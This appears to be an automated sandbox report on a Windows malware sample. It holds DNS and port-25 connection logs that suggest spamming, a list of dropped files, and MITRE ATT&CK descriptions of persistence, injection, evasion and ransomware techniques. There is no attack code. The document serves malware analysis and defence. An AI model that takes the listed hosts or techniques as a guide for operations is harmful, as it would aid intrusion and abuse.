Source: unknown	DNS traffic detected: query: canmore.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.jroy.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: websy.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: awfraser.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.owsports.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: avc.com.sa replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: 89gospel.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: anteph.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: www.ftchat.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: agitz.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: chzko.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ftchat.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.yumgiskor.kz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ktenergo.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: toundo.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: actmin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: cpwpb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: www.medisa.info replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: clysma.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: someikan.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: ludea.cz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: www.koz1.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: invictus.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: grlawcc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haigh-me.com replaycode: Name error (3)

Source: global traffic	TCP traffic: 192.168.2.6:49991 -> 176.119.200.128:25
Source: global traffic	TCP traffic: 192.168.2.6:50000 -> 87.248.97.36:25
Source: global traffic	TCP traffic: 192.168.2.6:50018 -> 66.226.70.66:25
Source: global traffic	TCP traffic: 192.168.2.6:50097 -> 66.163.170.48:25
Source: global traffic	TCP traffic: 192.168.2.6:50140 -> 104.26.6.17:25
Source: global traffic	TCP traffic: 192.168.2.6:50141 -> 93.187.206.66:25
Source: global traffic	TCP traffic: 192.168.2.6:50142 -> 3.64.163.50:25
Source: global traffic	TCP traffic: 192.168.2.6:50143 -> 35.172.94.1:25
Source: global traffic	TCP traffic: 192.168.2.6:50144 -> 35.169.15.168:25
Source: global traffic	TCP traffic: 192.168.2.6:50149 -> 217.79.248.38:25
Source: global traffic	TCP traffic: 192.168.2.6:50150 -> 157.7.107.49:25
Source: global traffic	TCP traffic: 192.168.2.6:50151 -> 68.71.135.170:25
Source: global traffic	TCP traffic: 192.168.2.6:50153 -> 185.178.208.141:25
Source: global traffic	TCP traffic: 192.168.2.6:50169 -> 203.0.113.0:25
Source: global traffic	TCP traffic: 192.168.2.6:50173 -> 217.69.139.150:25
Source: global traffic	TCP traffic: 192.168.2.6:50174 -> 64.18.191.61:25
Source: global traffic	TCP traffic: 192.168.2.6:50175 -> 142.250.157.27:25
Source: global traffic	TCP traffic: 192.168.2.6:50176 -> 54.250.32.94:25
Source: global traffic	TCP traffic: 192.168.2.6:50179 -> 142.250.27.27:25
Source: global traffic	TCP traffic: 192.168.2.6:50180 -> 35.230.155.43:25
Source: global traffic	TCP traffic: 192.168.2.6:50182 -> 173.205.126.33:25
Source: global traffic	TCP traffic: 192.168.2.6:50183 -> 61.200.81.23:25
Source: global traffic	TCP traffic: 192.168.2.6:50185 -> 104.21.2.101:25
Source: global traffic	TCP traffic: 192.168.2.6:50187 -> 66.111.4.70:25
Source: global traffic	TCP traffic: 192.168.2.6:50188 -> 52.211.245.146:25
Source: global traffic	TCP traffic: 192.168.2.6:50191 -> 62.75.251.116:25
Source: global traffic	TCP traffic: 192.168.2.6:50190 -> 185.253.212.22:25
Source: global traffic	TCP traffic: 192.168.2.6:50192 -> 188.114.97.3:25
Source: global traffic	TCP traffic: 192.168.2.6:50193 -> 198.1.81.28:25
Source: global traffic	TCP traffic: 192.168.2.6:50209 -> 54.212.145.129:25
Source: global traffic	TCP traffic: 192.168.2.6:50225 -> 107.165.223.27:25
Source: global traffic	TCP traffic: 192.168.2.6:50224 -> 165.160.15.20:25
Source: global traffic	TCP traffic: 192.168.2.6:50227 -> 133.125.38.187:25
Source: global traffic	TCP traffic: 192.168.2.6:50228 -> 45.142.176.225:25
Source: global traffic	TCP traffic: 192.168.2.6:50229 -> 104.21.235.32:25
Source: global traffic	TCP traffic: 192.168.2.6:50235 -> 43.246.117.171:25
Source: global traffic	TCP traffic: 192.168.2.6:50236 -> 211.13.204.3:25
Source: global traffic	TCP traffic: 192.168.2.6:50250 -> 104.21.89.126:25
Source: global traffic	TCP traffic: 192.168.2.6:50251 -> 104.24.160.27:25
Source: global traffic	TCP traffic: 192.168.2.6:50252 -> 63.251.106.25:25
Source: global traffic	TCP traffic: 192.168.2.6:50254 -> 37.59.243.164:25
Source: global traffic	TCP traffic: 192.168.2.6:50258 -> 23.227.38.32:25
Source: global traffic	TCP traffic: 192.168.2.6:50259 -> 202.94.166.30:25
Source: global traffic	TCP traffic: 192.168.2.6:50260 -> 18.177.67.59:25
Source: global traffic	TCP traffic: 192.168.2.6:50277 -> 208.80.123.195:25
Source: global traffic	TCP traffic: 192.168.2.6:50282 -> 66.111.4.71:25
Source: global traffic	TCP traffic: 192.168.2.6:50331 -> 92.42.191.38:25
Source: global traffic	TCP traffic: 192.168.2.6:50334 -> 46.30.60.158:25
Source: global traffic	TCP traffic: 192.168.2.6:50337 -> 211.13.196.162:25
Source: global traffic	TCP traffic: 192.168.2.6:50345 -> 59.106.13.181:25
Source: global traffic	TCP traffic: 192.168.2.6:50347 -> 157.7.107.38:25
Source: global traffic	TCP traffic: 192.168.2.6:50349 -> 107.180.58.31:25
Source: global traffic	TCP traffic: 192.168.2.6:50350 -> 195.128.140.29:25
Source: global traffic	TCP traffic: 192.168.2.6:50351 -> 54.217.118.81:25
Source: global traffic	TCP traffic: 192.168.2.6:50352 -> 104.20.54.214:25
Source: global traffic	TCP traffic: 192.168.2.6:50360 -> 79.124.76.247:25
Source: global traffic	TCP traffic: 192.168.2.6:50357 -> 164.132.175.106:25
Source: global traffic	TCP traffic: 192.168.2.6:50363 -> 15.204.18.132:25
Source: global traffic	TCP traffic: 192.168.2.6:50370 -> 46.19.218.80:25
Source: global traffic	TCP traffic: 192.168.2.6:50369 -> 188.114.96.3:25
Source: global traffic	TCP traffic: 192.168.2.6:50374 -> 128.204.134.138:25
Source: global traffic	TCP traffic: 192.168.2.6:50395 -> 193.70.68.254:25
Source: global traffic	TCP traffic: 192.168.2.6:50396 -> 94.100.180.31:25
Source: global traffic	TCP traffic: 192.168.2.6:50400 -> 142.250.157.26:25
Source: global traffic	TCP traffic: 192.168.2.6:50401 -> 91.201.52.102:25
Source: global traffic	TCP traffic: 192.168.2.6:50408 -> 202.172.28.89:25
Source: global traffic	TCP traffic: 192.168.2.6:50451 -> 92.204.129.113:25
Source: global traffic	TCP traffic: 192.168.2.6:50453 -> 185.129.138.60:25
Source: global traffic	TCP traffic: 192.168.2.6:50461 -> 104.18.40.43:25
Source: global traffic	TCP traffic: 192.168.2.6:50463 -> 142.250.27.26:25
Source: global traffic	TCP traffic: 192.168.2.6:50466 -> 66.111.4.75:25
Source: global traffic	TCP traffic: 192.168.2.6:50471 -> 183.90.232.24:25
Source: global traffic	TCP traffic: 192.168.2.6:50482 -> 198.185.159.144:25
Source: global traffic	TCP traffic: 192.168.2.6:50483 -> 15.197.142.173:25
Source: global traffic	TCP traffic: 192.168.2.6:50484 -> 153.122.170.15:25
Source: global traffic	TCP traffic: 192.168.2.6:50485 -> 207.180.198.201:25
Source: global traffic	TCP traffic: 192.168.2.6:50486 -> 23.236.62.147:25
Source: global traffic	TCP traffic: 192.168.2.6:50490 -> 31.177.80.70:25
Source: global traffic	TCP traffic: 192.168.2.6:50492 -> 159.89.244.183:25
Source: global traffic	TCP traffic: 192.168.2.6:50493 -> 103.4.16.43:25
Source: global traffic	TCP traffic: 192.168.2.6:50496 -> 47.91.167.60:25
Source: global traffic	TCP traffic: 192.168.2.6:50498 -> 104.21.92.170:25
Source: global traffic	TCP traffic: 192.168.2.6:50507 -> 65.52.128.33:25
Source: global traffic	TCP traffic: 192.168.2.6:50513 -> 153.126.211.112:25
Source: global traffic	TCP traffic: 192.168.2.6:50515 -> 153.120.34.73:25
Source: global traffic	TCP traffic: 192.168.2.6:50538 -> 199.34.228.78:25
Source: global traffic	TCP traffic: 192.168.2.6:50551 -> 75.2.70.75:25
Source: global traffic	TCP traffic: 192.168.2.6:50559 -> 23.225.40.19:25
Source: global traffic	TCP traffic: 192.168.2.6:50561 -> 87.98.236.253:25
Source: global traffic	TCP traffic: 192.168.2.6:50568 -> 198.49.23.145:25
Source: global traffic	TCP traffic: 192.168.2.6:50569 -> 54.161.222.85:25
Source: global traffic	TCP traffic: 192.168.2.6:50576 -> 35.154.163.204:25
Source: global traffic	TCP traffic: 192.168.2.6:50577 -> 54.36.175.146:25
Source: global traffic	TCP traffic: 192.168.2.6:50580 -> 157.7.231.224:25
Source: global traffic	TCP traffic: 192.168.2.6:50582 -> 151.101.2.132:25
Source: global traffic	TCP traffic: 192.168.2.6:50597 -> 51.89.6.56:25
Source: global traffic	TCP traffic: 192.168.2.6:50663 -> 23.185.0.4:25
Source: global traffic	TCP traffic: 192.168.2.6:50720 -> 208.100.26.245:25
Source: global traffic	TCP traffic: 192.168.2.6:50878 -> 104.21.50.140:25
Source: global traffic	TCP traffic: 192.168.2.6:50879 -> 136.243.147.81:25
Source: global traffic	TCP traffic: 192.168.2.6:50880 -> 185.76.64.25:25
Source: global traffic	TCP traffic: 192.168.2.6:51134 -> 94.130.164.242:25
Source: global traffic	TCP traffic: 192.168.2.6:51152 -> 52.86.6.113:25
Source: global traffic	TCP traffic: 192.168.2.6:51367 -> 49.212.180.178:25
Source: global traffic	TCP traffic: 192.168.2.6:51509 -> 69.89.107.122:25
Source: global traffic	TCP traffic: 192.168.2.6:51537 -> 157.7.107.88:25
Source: global traffic	TCP traffic: 192.168.2.6:51538 -> 185.104.28.238:25
Source: global traffic	TCP traffic: 192.168.2.6:51689 -> 91.220.211.163:25
Source: global traffic	TCP traffic: 192.168.2.6:51691 -> 212.44.102.57:25
Source: global traffic	TCP traffic: 192.168.2.6:51802 -> 18.197.121.220:25
Source: global traffic	TCP traffic: 192.168.2.6:51806 -> 52.219.178.104:25
Source: global traffic	TCP traffic: 192.168.2.6:52038 -> 87.230.93.218:25
Source: global traffic	TCP traffic: 192.168.2.6:52082 -> 85.233.160.148:25
Source: global traffic	TCP traffic: 192.168.2.6:52419 -> 104.21.41.152:25
Source: global traffic	TCP traffic: 192.168.2.6:52432 -> 35.186.238.101:25
Source: global traffic	TCP traffic: 192.168.2.6:52517 -> 217.74.161.133:25
Source: global traffic	TCP traffic: 192.168.2.6:52624 -> 34.205.242.146:25
Source: global traffic	TCP traffic: 192.168.2.6:52942 -> 52.128.23.153:25
Source: global traffic	TCP traffic: 192.168.2.6:53198 -> 103.224.212.222:25
Source: global traffic	TCP traffic: 192.168.2.6:53383 -> 195.5.116.23:25
Source: global traffic	TCP traffic: 192.168.2.6:53795 -> 91.216.241.100:25
Source: global traffic	TCP traffic: 192.168.2.6:54414 -> 79.96.32.254:25
Source: global traffic	TCP traffic: 192.168.2.6:54532 -> 34.102.136.180:25
Source: global traffic	TCP traffic: 192.168.2.6:54620 -> 198.185.159.145:25
Source: global traffic	TCP traffic: 192.168.2.6:55007 -> 185.151.30.147:25
Source: global traffic	TCP traffic: 192.168.2.6:55008 -> 221.132.33.88:25
Source: global traffic	TCP traffic: 192.168.2.6:55086 -> 49.212.243.77:25
Source: global traffic	TCP traffic: 192.168.2.6:55495 -> 5.134.4.115:25
Source: global traffic	TCP traffic: 192.168.2.6:57008 -> 51.159.3.117:25
Source: global traffic	TCP traffic: 192.168.2.6:57042 -> 173.231.184.124:25
Source: global traffic	TCP traffic: 192.168.2.6:57111 -> 54.39.198.18:25
Source: global traffic	TCP traffic: 192.168.2.6:58930 -> 217.19.254.22:25
Source: global traffic	TCP traffic: 192.168.2.6:59683 -> 23.239.201.14:25
Source: global traffic	TCP traffic: 192.168.2.6:62370 -> 203.137.75.45:25
Source: global traffic	TCP traffic: 192.168.2.6:62839 -> 76.223.35.103:25
Source: global traffic	TCP traffic: 192.168.2.6:63784 -> 204.15.134.44:25
Source: global traffic	TCP traffic: 192.168.2.6:65273 -> 104.164.117.233:25
Source: global traffic	TCP traffic: 192.168.2.6:1535 -> 49.212.232.113:25
Source: global traffic	TCP traffic: 192.168.2.6:1613 -> 38.111.255.201:25
Source: global traffic	TCP traffic: 192.168.2.6:1631 -> 213.175.217.57:25
Source: global traffic	TCP traffic: 192.168.2.6:1954 -> 81.169.145.175:25
Source: global traffic	TCP traffic: 192.168.2.6:1957 -> 185.163.45.187:25
Source: global traffic	TCP traffic: 192.168.2.6:1966 -> 185.230.63.107:25
Source: global traffic	TCP traffic: 192.168.2.6:1978 -> 219.94.128.87:25
Source: global traffic	TCP traffic: 192.168.2.6:1982 -> 83.167.255.150:25
Source: global traffic	TCP traffic: 192.168.2.6:1983 -> 148.72.176.26:25
Source: global traffic	TCP traffic: 192.168.2.6:2000 -> 34.224.10.110:25
Source: global traffic	TCP traffic: 192.168.2.6:2002 -> 219.94.128.216:25
Source: global traffic	TCP traffic: 192.168.2.6:2006 -> 43.255.29.192:25
Source: global traffic	TCP traffic: 192.168.2.6:2013 -> 93.189.66.202:25
Source: global traffic	TCP traffic: 192.168.2.6:2014 -> 77.72.4.226:25

Source: unknown	TCP traffic detected without corresponding DNS query: 198.1.81.28
Source: unknown	TCP traffic detected without corresponding DNS query: 198.1.81.28
Source: unknown	TCP traffic detected without corresponding DNS query: 198.1.81.28
Source: unknown	TCP traffic detected without corresponding DNS query: 211.13.196.162
Source: unknown	TCP traffic detected without corresponding DNS query: 211.13.196.162
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73
Source: unknown	TCP traffic detected without corresponding DNS query: 153.120.34.73

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report iJzpyjAehB.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\21c8026919fd094ab07ec3c180a9f210_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\pigalicapi.exe

C:\Users\user\pigalicapi.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Windows Analysis Report
iJzpyjAehB.exe

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre